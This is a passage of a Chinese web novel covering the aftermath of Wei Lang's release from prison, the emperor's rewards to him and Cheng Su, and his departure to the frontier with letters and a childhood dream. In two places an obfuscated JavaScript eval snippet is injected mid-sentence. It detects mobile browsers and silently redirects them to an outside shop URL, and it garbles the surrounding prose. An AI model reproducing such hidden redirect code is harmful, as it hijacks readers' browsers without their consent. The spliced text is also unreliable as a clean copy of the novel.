他也是从诏狱后脱身,才知道为了当初牢中那短短一面,程素求了多少人、费了多少心力才达成的,可她什么也不会说,总是那副沉默淡然的模样。 程素的睫毛微微一颤,轻声道:“……这话应我来说才是。” 哪里有刚刚大难不死,才从牢狱中脱身了的人,反倒说她瘦了的道理。 老夫人看得分明,催促道:“好了,你们小两口这些日子都受苦了。既然阿琅回来了,你们就好好说说话,晚上莫忘了来我这里,咱们一家人好好吃顿饭。” 然而,这顿晚饭还是没能吃得成。 回了抱筠居不久,卫琅便发起烧来。 程素知道,他昨晚在宫里忙了一夜,这些日子在牢里只怕也没睡几个好觉,回去后先陪他说了会儿话,便让卫琅好好休息,等傍晚时再喊他起来。 孰料睡下没多久,卫琅就有些不对。程素伸手一试他的额头,才发现如同烙铁般发烫,连忙让人去请大夫。 解开卫琅的中衣后,程素这才发现他身上受刑的伤。伤口虽已用药简单处理过,但仍有些感染,这才导致了发热。 然而按卫琅的个性,就是发着烧,也不让人省心,都烧得迷迷糊糊了,也不肯让旁人近身上药,偏要程素陪他。 程素没办法,只得一点点摸索着小心地给他换药,一直折腾到后半夜,自己这才沉沉地睡了过去。 等卫琅再有意识时,已是第二日的清晨。 朦胧间,他察觉到身侧有着他无比眷恋的气息,下意识不想睁开眼来。 他怕他一睁开眼,会发现不过又是一场噩梦,自己仍是独自一人。 直到过了好一会儿,卫琅才慢慢想起来,一切都结束了,他已经回家了。 他猛地睁开眼,终于在清浅的日光中,看到了枕畔程素安恬的睡颜。 卫琅最喜欢看程素睡着时的模样,只有这个时候,她整个人才是毫无防备的,完完全全展露在他的面前。 只是今天的她,好像还在为什么事而忧虑似的,哪怕在梦里,眉头仍旧微微地蹙着。 他伸出手试图抚平她的眉心,程素仿佛有所察觉,终于不再皱眉了。 卫琅这才松了口气。 趁着她还未睡醒,他就这么看着她看了好一会儿,不是亲亲她的侧脸,就是手指把玩着程素的头发。不一会儿,这些小动作终于把程素也弄醒了。 她睁开眼时,隐约看见眼前有个模糊的人影,身子下意识一僵。 反应过来是卫琅后,她才渐渐放松下来,轻声问他:“侯爷醒了?这会儿可感觉身上好些了?” 卫琅这才知道自己昨天夜里发烧的事,不过他也清楚,自己伤得不算重,毕竟那些人也不敢真把他往死里打。 刚想告诉程素放心,他忽而眼珠一转,语气变得格外虚弱道:“不好,头还有些晕,你再陪我躺一会儿……” 程素:“……” 好了,看样子确实是没事了。 不过她也无意戳穿卫琅拙劣的借口,还当真陪他在床上躺了好一会儿。直至白芷催了又催,两人才起来梳洗吃早饭。 卫琅也没得意太久,才缠了程素没一会儿的功夫,她又被别的事叫走了。 卫小侯爷很是不爽,好不容易风头过了,还有什么是比陪他养伤更重要的。一问才知,事情的源头还在他身上。 谁也想象不到,不到一个月的时间,风水轮流转得竟然如此之快。 隆兴帝归来,原本还是阶下囚的他摇身一变,又成了炙手可热的大红人。 先前还是老夫人和程素去别家府上求人说情,如今局势一变,每日往侯府递帖子的人如过江之鲫。这些人大多用不着老夫人亲自出面,大多由程素接待了。 来拜访的人也分了好几种。 一类只是寻常趋炎附势之流,这些让门子收下帖子也就罢了; 还有一类,不久前还对侯府摆着架子,眼看隆兴帝归来,要秋后算账,慌乱中又来侯府这里,想求着卫琅帮忙说情的,程素无意落井下石,可也没有反过来还笑脸相迎的打算; 最后一类,便是先前对侯府抱有善意的人家。无论对方当时是否真的打算帮忙,只要明面上以礼相待的,侯府也同样将人客客气气迎进门来。 在接连的应酬中,程素还听到了一个意想不到的人的消息—— 四夫人薛氏回了娘家后不久,被娘家谋夺财产,双方闹到衙门那儿去了。 当初薛氏临走前,侯府并没有让她额外带走别的东西。可她昔日把手伸进公中的账目挪走的钱财,却没人跟她清算。 用老夫人的话说,那些钱财只当是用来看清一个人的,就当是为过往那些年的情分做个了断。任谁说破了天去,侯府已经对她仁至义尽了。 显然,薛氏的娘家人盯上了她的身家。 来客是京兆尹家的女眷,对方知道薛氏昔日身份,却并不知其中内情,也不好随意处置,只能来问问侯府的意思。 前段时间侯府都在为了卫琅的事而焦头烂额,薛氏主动离开,意味着两方早已恩断义绝,双方再无瓜葛。如今卫家又好起来了,更是和这人没什么关系。 不过程素还是托人去问了老夫人那边,松芝堂的回话跟她预料的差不多,只说对方既已离了侯府,这些纠葛和卫家没什么关系,让人看着办便是。 来客顿时心领神会。 卫家的态度已经摆明了,不会干涉这场官司。不过侯府既让看着办,这案子少说也要办个不偏不倚,对方到底还是间接地沾了一二分侯府的光。 只是天底下没有不透风的墙,人若自己的品性和本事立不住,再等个一年半载,连卫家这个可以扯虎皮做大旗的光都沾不上了,那时后悔只怕也晚了。 就连那些当年用尽手段搜刮来的钱财,也只能成为自身的催命符。 薛家的这门官司,只是一个微不足道的小插曲,甚至在京城这段日子的动乱中,显得并不起眼。 隆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17148424|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 兴帝的清算并没有结束,昔年太子和二皇子为了争权夺利,试图拉拢的朝臣不在少数,牵连的人家也越来越多。 一时之间,人人自危。 没过几日,程素也跟着病了。 原因自然是劳累过度。 前些日子,她为了卫琅的事而奔忙,好不容易侯府的危机解决了,朝堂上又是一阵血雨腥风,闹得人心惶惶。 连日以来的劳心伤神,再加上卫琅也从狱中出来后,她心头提着的那口气陡然一松,总算撑不住了。 这一病来势汹汹,她整个人昏昏沉沉,接连好几天都没什么精神。 和程素一比,卫琅反而显得没什么事了。他本就年青力壮,在诏狱受的也多是皮外伤,只发了一晚的烧后,就没什么大碍了,如今又反过来照顾她。 两人一个养病,一个养伤,外界那些纷纷扰扰什么都不用想了,他们眼前只有抱筠居这片小小的天地,一切就像又回到了他们刚成婚时那样。 熬过了最初几日后,程素的精神总算有所好转。 两人闲来无事,就在一起说话。 从前是卫琅一个人说得多,如今程素说的也不少了,两人好像要把这些日子没来得及说完的话都一口气补上。 闲暇之余,程素反复回想了卫琅出事前前后后的所有细节,尤其他最后才受的那顿刑,沉吟了好一会儿,才道:“……这样说来,我们倒也算间接承了他们的情。” 卫琅可不爱听这话:“那群老东西把我打了一顿,我还要谢谢他们?” 程素只是温柔道:“别说傻话。” 看隆兴帝如今越发冷酷的手段,卫琅若是从头到脚没有一点伤地出了诏狱,只怕他救驾的功劳也要大打折扣。 听她语气温柔却透着股不容置疑的味道,卫琅只得哼哼道:“……好吧。” 虽然面上故作不满,不过卫小侯爷心里还挺享受这种被管着的感觉。 这次从狱中出来后,他明显能感觉到程素对他态度的变化。虽然表面上好像还和以前一样,但他能清晰地感觉到,先前那种无形的疏离感慢慢消失了。 虽然他也不确定,素素如今愿意对他纵容到什么程度。 不过像眼下这样就很好了。 心里想归想,不过卫琅还是仗着这些日子以来程素对他格外包容,控诉道:“素素你变了,你以前不是这样的。” 程素认真想了想,问他:“那……我们还跟以前一样?” “当然不。” 卫琅飞快地否认。 话本子里的男女主角经历几十个回合,都大团圆了。他费了那么一大通劲,要还回到两人刚认识那会儿互相客气的相处模式,那他才是真的傻了。 不过他总觉得这话仿佛有哪里不对,仔细咂摸了一下,终于后知后觉地反应过来了什么,目光灼灼道:“那……是不是还有什么跟以前不一样的?” 下一瞬,他就见到程素的脸慢慢红了起来。她本就生得眼眸明净,肌肤莹润,这一来更是如同霞映春水般动人,看得卫琅眼都不眨一下,直勾勾地盯着她。 程素虽看不清,却也能感受到他那炙热的视线,只得抿了抿唇,抬手覆住了他的眼,怎么也不肯让他再看。 随后,他只觉脸颊被什么轻轻碰了一下,一个略带生涩的、不确定的吻如同蜻蜓点水般落在他的侧脸上。 然而程素也只能做到这些了,仅仅简单一吻,也让她莹润如玉的面庞染上了更深的绯红,甚至一路蔓延至耳后。 不等她松开手,卫琅突然一把握住她纤细的手腕,确定她没有抽离躲闪的意思后,这才翻身将她压在身下。 程素只觉周身都被他的气息铺天盖地笼罩住,整个人窘迫得动弹不得。 卫琅却没有跟往常玩笑时那般很快就松开手,而是反手与她十指相扣,贴在她的耳后,嗓音低哑道:“……我突然想起,素素你好像从来没叫过我的名字。” 明明都已经是夫妻了,还总是侯爷侯爷的,叫得怪生疏的,他很不喜欢。 她还欲张口说些什么,却被他落下来的一吻封住:“……我的字是元鸣,一会儿叫我阿琅,或是元鸣……” “什么都可以。” 30. 第三十章 小两口还在增进感情之时,一位不速之客突然造访了侯府。 听说了卫琅生病,隆兴帝特意派了身边伺候的大太监高满来探望。 这位从前便是皇帝跟前的红人,这次宫变中更是护驾有功。侯府上下不敢怠慢,因卫琅他们名义上都在养病,还是老夫人亲自出面接待的。 好在这位大太监不难相处,侯府照例塞来的银子也分毫不取,忙不迭道:“老封君何必这样客气,此次若不是侯爷,奴婢只怕早就给陛下殉葬去了。日后若有什么用得着的,只需说一声便是。” 尽管对方的讨好之意再明显不过,可老夫人仍是客客气气地把人送走了。 直至他离开,老夫人遣散了身旁伺候的人独处时,才面露忧虑之色。 这些天以来,外人无不眼热侯府的运道,只说卫琅此次有救驾之功,至少可以保侯府一二十年内圣眷不衰。 可老夫人却格外警醒。 常言道烈火烹油、鲜花着锦,非长久之象。只要卫家在军中屹立不倒,侯府就不缺荣宠富贵。一旦这荣宠到了顶,往往也是走下坡路的开始。 尤其在听闻隆兴帝这些日子以来的动作,她更是暗自心惊。 这位陛下初登基时,还不改仁善本性,与其父兄不同,不然也不至于放纵太子和二皇子为祸至此。 然而世事弄人,他遭逢大难,又接连杀妻杀子,性情已然有所变化。 眼下他固然会善待卫琅等救驾功臣,可再过一二十年,又会如何想呢。 人心易变,圣心更是难测。 他如今认了这些人救驾的功劳,等数年过后,他又回想起昔日那些旧人,是否又会把罪责归咎于他人,把丧子之痛迁怒到其余这些人身上。 没人能说得准。 她已老了,不求卫家在这个风口浪尖上站得多高,只希望孩子们能行得更稳。 …… 就在朝野上下一片低迷,人人自危之时,二月中旬,边关突然传来捷报。 卫大将军率部大破突厥,还一举擒获了他们的三王子。 这是自从正月宫变以来,唯一能称得上的好消息了。也正因如此,卫琅他们再也不能借口养伤闭门不出。 此前隆兴帝肃清朝堂时,他不想参与太多给人抄家灭门之事,只能借口养伤躲避不出。然而这一回,隆兴帝下令,却是召卫琅携程素一并入宫受赏的。 动乱过后,也是时候论功行赏了。 临行前,小两口被叫去了松芝堂。 老夫人先是简单地提点了他们一二,这次觐见隆兴帝时要注意的事项,之后犹豫良久,才长叹一声:“……阿琅,等过段时日,你挑个合适的时机,向陛下自请去边关吧。” 她解释道:“莫要怪祖母不近人情,你刚遭逢大难回来,就让你又赴险境。只是我左思右想,陛下这次经历一遭生死,又被至亲背叛,有些事只怕不似从前了。常言道伴君如伴虎,你若整日待在近前,反而不见得安稳。” “恰巧你二叔在边关,你不如去西北,在边关避一两年风头再回来。” 说完,她仍担心小两口不能理解她的意思,毕竟卫琅和程素成婚还不到一年,她这个做长辈的,却要拆散两人。 然而看眼下的情况,她只担心重演先帝晚年的局势。当年卫琅年纪尚小,侯府人丁零落,又有卫二在镇守边疆,老皇帝还没有昏庸到要自断臂膀。 可如今不同。 倘若没出了这次变故,卫琅也许还能跟从前一样,在隆兴帝面前当个插科打诨的小辈,日后慢慢成长。 可形势迫人,他唯有更快地成长起来,侯府接下来的日子才能立得更稳。 然而出乎她意料的是,程素和卫琅对视了一眼,竟相视而笑。 还是卫琅主动解释道:“您放心,我都明白,素素已经事先跟我商量过了。” 这些天,他们俩也不是整天只顾着培养感情的,程素本就擅长判断局势,早已把个中利害给他分析过了。 眼下隆兴帝余怒未消,等朝堂上这一番大清洗过后,再重新拔擢一批官员补上,至少要一年半载才能稳定下来。 而这期间,卫琅若既不想做隆兴帝手里的一把刀,又不想得罪这位性情难测的陛下,就只能远走边关避开风头。 顺便借此机会,他也是时候要改一改自己在朝野间的风评了。他承袭了爵位,自是卫家这一辈的领头人,纨绔的名头可以顶一时,却不能一直如此。 对于世人来说,有什么比一个纨绔遭逢大变,自此发奋图强更合理的转变呢。 卫琅笑道:“小弟小妹他们也越发大了,也不能一直留在边关。阿珏有多少年没见过二婶了,当年她去边关陪二叔,刚走那头半年,听说他夜里还偷偷躲在被子里哭,他也是时候再见见弟弟妹妹了。” “您放心,我是卫家的嫡长孙,这些担子早就应该由我担起来了。” 老夫人心头一酸,扶着他的手臂,又拉过旁边的程素,连声道好。 祖孙三人凑在一块儿,又商量了好一会儿,卫琅他们才踏上了进宫的路。 …… 等终于再次见到隆兴帝时,程素只觉恍如隔世。 她上一次见到这位陛下,还是在除夕宫宴那天,回忆起来就在不久之前。然而短短不到两个月,却发生了许多事。 隆兴帝整个人看上去苍老憔悴了许多,眼神却格外阴冷锐利,浑然不似除夕宫宴时那个威仪满满的帝王。 隆兴帝望着眼前这一对年轻的小夫妻,心里也同样生出了沧桑之感。 他回过神来,才缓声道:“这次朕能逃出生天,你们夫妻二人居功甚伟。你们可有什么想要的赏赐,尽管跟朕说来便是。” 这次营救隆兴帝,整个过程一环扣着一环,很难单说是哪一方的功劳。 但若没有卫琅在火场舍命相救,隆兴帝早已葬身火海;若没有程素的玲珑心窍,旁人再怎么谋划,也是枉然。 隆兴帝心里最清楚他们的功劳不过,对救了自己性命的人自然不吝啬。 然而卫琅却推辞道:“陛下除夕那日就已经赏过微臣和内人了,此次救驾乃是众人合力而为,微臣实在不敢居功。” 隆兴帝有些不悦:“朕要赏你们,何人敢置喙,连你们也要推三阻四,跟朕虚假客套吗?他不说,程氏,那就你来说。” 卫琅没想到隆兴帝竟然把矛头对准了程素,下意识紧张起来。 程素却不慌不忙,从容一拜:“陛下厚恩,臣妇感激涕零。若陛下执意赏赐,不如赏赐臣妇已过世的父亲,使其在九泉之下能得沐天恩,亦令世人知晓陛下宽仁。” 她没有给自己要诰命,反而是给亲人求衔。隆兴帝虽有些意外,但这个请求也算在情理之中:“你父亲程恪言……朕记得这个名字,当年他谏言先帝……” 话到这里,殿内骤然寂静。 程素这番话,明面上是在求赏,可实际上倒像是借此提醒隆兴帝。 先帝晚年曾因滥杀而让朝野上下流血无数,难道他如今也要重蹈覆辙吗? 卫琅立在她身侧,袖中的手微微收紧。虽然来之前都商量好了,可陡然僵滞的气氛还是让他有些沉不住气。 身旁的程素抬起头,目光虽仍然散漫没有焦点,却清澈而平静:“当年亡父因言获罪,贬谪岭南,因此郁郁而终,若非父亲在世之时的教导,若非得遇陛下恩赦还京,也没有臣妇的今日。” 而若是没了程素,这场宫变只怕也要增添更多的变数。 隆兴帝脸上的神色喜怒难辨:“这话是谁教你说的?是你家老夫人?” 程素伏首:“是,也不是。此次入宫前,祖母先前就已告诫我们,卫家此次得以安然无恙,全赖陛下昔日恩德,我等小辈,当谨守本分,以忠孝事君。臣妇方才之言,实出己心。” 殿内沉寂良久,隆兴帝目光锐利,盯着她看了许久,才忽然轻笑一声:“好,朕准了,来人传朕旨意,追赠前刑部侍郎程恪之为刑部尚书,加封其妻为诰命。” 程素深深拜下:“……臣妇代父母,叩谢陛下天恩。” 隆兴帝挥了挥手:“你先退下,卫琅留下,朕还有话要跟你说。” 程素伏首,然后告退。 她此行的目的已经达到了,还为父母求来了封赏,弥补了当年的遗憾。 余下的就只能交给卫琅了。 待她离开后,殿内只留君臣二人时,隆兴帝才忽而叹道:“……朕当日还想过为你指婚,到底还是你家老夫人眼光毒辣,不声不响地倒为你挑了一门好婚事。” 他和程素仅有的两次见面,都称不上愉快,对这女子也并无好感。 可隆兴帝也看得出,无论胆识谈吐、心性定力,她都当得起侯夫人的位子。 卫琅闻言微微笑了一下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151797|193938||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可一提当初,他又想起了那两位公主的下场,只能沉默不语。 隆兴帝显然也想起了他的那些儿女们,同样陷入了回忆之中。过了好一会儿,他才回过神来,皱眉道:“怎么不说话了?往日你不是话很多吗?” 卫琅拱手道:“臣不知道该说什么。” 隆兴帝冷冷道:“你的夫人劝朕就此收手,你这个定远侯,就没什么想劝谏的了吗?” 卫琅没有直接回答,反而道:“……微臣的内人是个君子,臣却只是个小人。满心满眼只向着自己亲近之人。” 这话说得巧妙,还不动声色地拍了隆兴帝的马屁。 隆兴帝听他自认小人,嗤笑一声。 他曾以为自己可以做个好父皇,不像当年的先帝,可到头来生死之际,他的长子视而不见,一心想着皇位;他的皇后和二儿子察觉出了端倪,却一心只有皇位,到最后还是卫琅这个外人拼死救了他。 所谓称孤道寡,真的坐在了这皇位上,才知道高处不胜寒。 卫琅这小子虽有些油滑,但就凭他当日敢舍身冲进火场救驾的举动,就算隆兴帝从前没有看错人了。 思及此处,隆兴帝的语气终于缓和了些:“你的封赏可想好了?让朕想想,再给你封个什么职位合适……” 他原先没打算给卫琅这么快升职,毕竟卫琅不久前才执掌了金吾卫,官位还没捂热,就出了事。但这次宫变,他本就当居首功,若不厚赏,反而说不过去。 卫琅连忙跪地:“回禀陛下,微臣不求官职,只愿去边关历练一二。” 原先这话是祖母交待他等到合适的时日再说,可此时却不得不提了。 隆兴帝诧异道:“你要去边关?” 卫琅早有准备,把提前打好的腹稿脱口而出:“……昔日微臣不成器,让您和祖母操了不少心。这些天微臣在家中养伤时,屡屡想起父亲和叔叔们在我如今的年纪,已经驰骋沙场,经此一遭后,更觉心头惭愧,若是我能早担重任,这一回也不至于让家里人为我担惊受怕。” 隆兴帝沉吟良久,才道:“西北那里苦寒,你能待得惯?” 卫琅郑重道:“二叔在那里苦守多年,我这个做小辈的,就算再怎么不济,总也要待上个一年半载的。” 听他语气这样笃定,隆兴帝也不打算再阻拦。此前他早前就有意好好磨砺卫琅一二,既然他主动提出想去边关历练,那便随他去吧。 只是不久前边关刚传来一场大捷,西北的军情也没那么紧急。再加上隆兴帝也没打算那么快就放人,卫琅离开的日子,就定在了开春雪化之后。 …… 转眼,就到了三月初。 仿佛只是一弹指间,春回大地。 草长莺飞,冰雪消融,明媚的春光总算冲淡了冬日时的阴霾肃杀。 卫琅也是时候动身远行了。 他这一次离开,名义上要随军前往边关历练,所以也不便携带太多东西,只有几个护卫亲信仍跟在身边。 程素的眼病尚未完全治好,无法跟随他一起前去。据太医说,她至少还要再过小半年,眼睛才能完全恢复好。 就算她恢复好了,卫琅也舍不得让她陪他一起去。 那边条件太苦,他为了避风头不得已远走,可不想让程素也陪他去遭罪。 两人事先商量好了,等卫琅去了那边,就每月时常通信。等他在边关待上个一年半载,就想办法回到京城。 三月里的一天,卫琅率军开拔。 程素她们来到城郊为他送行。 因是率军前往,哪怕身为主将家眷,也不好当着将士们的面依依惜别。何况该说的话,早在前一晚都已经说尽了。 程素她们只得在城郊官道边上的一处亭子目送大军远行,周围同样有为将士们送行的亲眷,人群有些喧嚷。 她和卫若等人站在其中,不断向远处张望着,却只能看到人头攒动的黑影,分不清到底哪一个才是卫琅。 直至卫若看到骑马走在队伍的前头一人,不断回头往亭中看去,双方遥遥相望,两边彼此才确认了对方的身份。 卫琅走在队伍的前头,频频往那边往去,但最终还是一勒缰绳,策马远去。 在他的身后,是绵延不绝的大军。无数车马驶过,留下滚滚烟尘。 众人只见那蜿蜒的长龙渐行渐远,直至没入漫山遍野的青绿中。 31. 第三十一章 数月后,边塞。 “咻——” 接连三发羽箭破空凌风疾射而出,将四下逃窜的几只野兔钉在了地上。 “好!小侯爷好箭术!” “今晚咱们又多了一道下酒菜了!” 卫琅听着身边人的夸赞,嘴角噙着淡淡的笑意,目光却望向了更远处:“把兔子收起来,快点进城吧。” 不知不觉,他到边关也有小半年了。 他驻扎的地方是边境重地虎牢关,也就是在他亲二叔的帐下做事。 无论是出于卫家在军中的威望,还是这些日子几次上阵杀敌的表现,卫琅的身边也渐渐聚集起了一群拥趸。 众人策马驰骋,一路往城中赶去。 他们平日在城外驻扎,只有偶尔每月休假时才能来城中一趟。 旁人进城为的是放松快活,毕竟边塞之地,不比京城繁华富庶,将士们平日不是巡防,便是要跟突厥人厮杀,难得进城一趟,自然要好好感受人间烟火。 卫琅跟他们却有些不同。 自幼锦衣玉食长大的侯爷对边陲小城的玩乐兴致缺缺,之所以愿意大老远跑这么一趟,全是为了每月的家书。 自从他半年前来了西北后,就和程素以书信往来,从不间断。 每月,侯府都会打发人往边关这里送东西,顺便捎这个月的书信。算算时间,又快到惯例的日子了。 卫琅今日的运气不错。 他这次估算的日子刚好,刚来到侯府商队常下榻的那间客栈外,就见到了负责常年边关往来的郑管事。 一见了他,郑管事便带上笑脸:“侯爷,再过些日子就要过中秋了,府里这次特意让小的多带了一些东西……” 卫琅并不在意那些东西,直勾勾地盯着郑管事看:“信呢?” 郑管事有些尴尬道:“……少夫人这些天整日忙碌,一时忘了。” 话音刚落,他只见卫琅唇边的笑意瞬间一僵,变得面无表情起来,连忙补充道:“老夫人最近偶感风寒,少夫人忙着侍奉,这才一时忘了的。” 卫琅先是问了祖母的病情,确定她老人家没什么大碍后,才点了点头:“……我就说,她定然不是故意忘了的。” 他语气还算正常,郑管事连连应和之余,也唯有擦汗庆幸了。 没收到信,卫琅也不打算多留,准备回去了。以往他有时会来早几天,还要在城中逗留一两日,才能见到人。 这次早早地确认了没有书信,此行顿时变得索然无味起来。他与其他几名年轻的将领道别,让他们在城中自行玩乐,自己则率随从带着东西先往回走。 众随从们都知道他今日没拿到夫人的书信,心情必然不好,一路上都有意扯些轻松逗趣的话,好让他解闷。 卫琅却跟没事人似的,回去的路上,还跟来时一样有说有笑,仿佛没受到什么影响似的。 然而一回了营帐,把其他人都屏退后,他的脸瞬间就垮了下来。 好狠心的人。 他才不在眼前半年,情分就淡了。 信也没了,甚至连句话也没让人捎。 卫琅一个人在床上翻来覆去,越想越来气,一骨碌坐起来给程素写信。 她不给他写,那他给她写总成了吧。 他在信里憋憋屈屈、又窝窝囊囊地大发了一通牢骚,怪虎牢关离京城太远,怪郑管事不会看眼色,怪程素身边的丫鬟不懂事,怪来怪去就怪了一件事—— 程素竟然忘了给他寄信。 写到最后,他心头那口气也没能散了,一个人光生气就气饱了。 就连帐外有人来喊了他好几遍,说是他二叔让他一起去吃酒,他都没搭理,被子闷住头,往外喊了声不去就不理人了。 他才不想跟二叔一起喝酒。 每次喝得不尽兴不说,喝了一半,二婶就要匆匆过来劝,他们两口子倒是夫妻情深了,衬得他这个孤家寡人格外凄凉。 卫琅辗转反侧了大半夜,这才在气闷中不知不觉睡着了。 睡着后,他又做了许久前的那个梦。 梦里他还是年幼时的模样,在上元夜的长街上拼命狂奔。 眼前的一切都变得模糊,花灯幢幢,人影摇动,辨不清方向,他凭着本能不管不顾地向前横冲直撞,耳畔到处是被冲撞的游人惊呼、斥骂声。 人潮汹涌,他不知自己要跑向何处,要见何人,只下意识不断向前。 直至他昏头昏脑地撞在了其中一个人身上,跌坐在地,眼前忽然出现了一只纤细白皙的手:“你叫什么名字,为什么跑得这样急?” 头晕眼花的卫琅抬头,只见是个十一二岁的少女,对方秀美犹带青涩的面容近在咫尺,眼神清亮如天上明月,无比清晰地映出他狼狈的影子。 那是少女时的程素。 和后来相比,她几乎没发生什么大的变化,只是年长后的气质更沉静淡然些,不像如今这样会眼睛亮晶晶地看人。 卫琅心头砰砰直跳。 程素仔细着打量着眼前这个孩子。 对方似乎饿了几天,脸上也有脏污,却还能看出五官像女孩子一样漂亮,皮肤细嫩,下颌尖尖,乌黑圆亮的眼珠带着惊疑,嘴唇仓皇倔强地抿着。 哪怕落魄了,也能看出是个好人家养大的。 小卫琅张口刚要答,突然浑身一悚,扭头就看到大黄牙的脸从身后的人群中一闪而没,他的呼吸顿时急促,来不及回答,慌忙间只想夺路而逃。 电光火石间,而身旁的少女已猜到了他的处境,伸手不由分说地拉过他,张开斗篷的一角,遮去了他的身形。 她年长对方几岁,又正是含苞待放抽条的年龄,比尚未长个的小卫琅高出一截,竟也把人牢牢地护在了斗篷下。 那斗篷是簇新的,绒毛厚实温暖,上面还有熏香的味道。他躲在斗篷下,只能闻见她身上温暖好闻的香气,少女腰间系着的白玉坠儿微微晃动,随着挪动,一下一下轻轻打在他的身上。 她微抿着淡粉的唇,神态镇定,只以眼神示意,身边人便散开紧紧簇拥着她,随着人群缓缓移动向前。 哪怕那群追上来的拐子用眼神在人群中四处搜索,她也泰然自若地目视前方,没有露出丝毫异样。对方的目光在她们一行人身上一扫,很快略了过去。 她护着他一直来到巷口停的马车下,掏出绢帕,俯下身替他细细擦去脸上的脏污,只见露出的五官越发精致。 人皆有爱美怜弱之心,少女程素也不能免俗,她越看越喜欢,语气越发柔和:“你是哪家的孩子,可还记得父母叫什么?我带你去报官可好?” 小卫琅紧紧地抿着唇,他不说话,她就好脾气地哄他。就在他终于要松动之时,一个眉眼俊秀的少年匆匆跑来。 那便是少年时的韩元清了。他陪程素一起看花灯,却被人群冲散,便想到来马车这附近相聚。青梅果然等在这里,只是她身边怎么还有个脏兮兮的孩子? 韩元清道:“素素,这孩子是……?” 少女程素抬手比了个噤声的动作:“小声些,应该是被拐来的孩子,刚跑出来,好险没被那群人看到。我想一会儿带她去报官,她家里人一定急坏了。” 韩元清眉头微皱,扫了一眼程素身上。她出来时穿的斗篷是簇新的,如今却有了几处污黑的手印。 抓着她衣角的小乞丐察觉到他审视的目光,非但没有松开手,反而瞅了他一眼,挑衅似地抓得更紧了些,哪里像程素口中被拐了的可怜孩子。 他微微皱眉道:“还是我带他去吧。” 虽然担忧这孩子会给惹来麻烦,但他们也不可能坐视不管。有他出面报官,也比程素一个女眷更方便。 程素粲然一笑:“那就谢谢你啦。” 韩元清面上赧然,却做出老成的模样:“你我之间,还说什么谢字。” 少年少女相视而笑,并肩而立,仿佛任何人都无法插足其中。一阵寒风吹过,两人腰间悬着的白玉坠儿碰撞在一处,发出叮叮当当的声响。 卫小侯爷平生第一次有种说不清道不明的恼意,连着这几天以来的委屈、愤懑、不甘一瞬间涌了上来。 在韩元清伸手要拉他走的瞬间,想也不想地一口狠狠咬了下去。 他也不知道自己究竟在气恼些什么。 韩元清顿时疼地大叫一声。 不等旁边的护卫来抓,小卫琅果断地转身就跑。还没等众人反应过来,就三两下没了踪影,把那些人甩在了身后。 他跑啊,跑啊,一直往侯府的方向不停地跑,一路跑回了侯府,被人发现,然后高烧不退,生了一场大病。 等大病初愈后,再想起那之前的事也模模糊糊。 他醒来后也曾闹着要找人,可侯府最终也只找到当时的那伙拐子,把他们一网打尽了,而那晚上元夜的惊鸿一瞥,却犹如大海捞针般,一丝踪迹也难寻。 兜兜转转,直至数年之后,湖畔亭中一见,昔年断了的缘分才又续上。 …… 一夜好梦。 卫琅再次醒来,却迟迟不肯睁开眼,好像这样,他就能长久地留在梦里。 他在心里无声叹气。 当年那么温柔可亲的小程素,怎么长大了就变成了一个狠心人了呢。 叹气归叹气,他最终还是磨磨蹭蹭从床上爬了起来,把昨天夜里写的那封信揉成一团,重新落笔。 埋怨是有一点点的,但更多的还是想念。 今年的中秋他没在侯府里度过,也不知道祖母和弟弟妹妹们会不会觉得冷清;一到过节,她又要忙着打理许多事,一府上上下下那么多人,也难怪她忙得昏头转向,把给他的信都忘了。 卫琅写好了信,又让人去城中捎 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卫琅:……怎么他都躲到这儿了,还有人往他心口上戳。 不过他也知道,再有不到一个月就是中秋了,这些士卒们肯定也想念家里人,最终还是答应下来。 卫琅跟几个随从,当真一笔一划地帮这帮人写起家书来。 这半年来为了跟程素通信,他每晚闲着没事,就在营帐里咬着笔杆,琢磨着给远在京城的程素写点什么。 久而久之,先前那一手烂字,如今写起来也勉强能看了。再加上那些士卒们大字不识一个,有人肯帮忙代写就知足了。 写着写着,卫琅又走了神。 想当初他刚离京之时,程素已经能看清一些东西的轮廓了,但像写字看书这等精细的事,还是要假以人手,两人的书信往来怎么也避不开中间的丫鬟们。 他很是着恼,却也无可奈何。起初给程素的几封信,他还装模作样地矜持了一下,写得客客气气的,但没多久他就放飞自我了,想到什么就写什么。 程素的回信倒是一直规规矩矩的,交待着家中的近况。不是老夫人如何、就是弟弟妹妹们如何,又或者是京城发生了什么事,最多再问问他怎么样了。 卫琅知道她脸皮薄,肯定不好意思让丫鬟们代笔。不过哪怕是只得了几句简单的叮嘱,他心里也知足了。 更何况素素也不只是口头关心,就从她每个月让人毫不间断送来的那些东西来看,她其实还是很在意他的。 卫琅的心情总算慢慢平复下来。 代笔的家书写完了,但关隘这一带距离驻军大营的距离实在不近。 他们还打算继续一路向前巡视,索性也不回去了,让其中一人先回去送信,夜里直接就在外面驻扎了。 西北之地气候苦寒,还未到八月,草已枯黄大半。 夜里凄冷的风声让人难免辗转,卫琅左右睡不着,索性起来出去透透气。 此时距离中秋还有段日子,天上只有弯弯一钩月牙。 这里与京师遥隔千里,不过一想到他此时所看的这一轮月亮,也正是程素在看的,卫琅的心里忽然慢慢平静下来。 …… 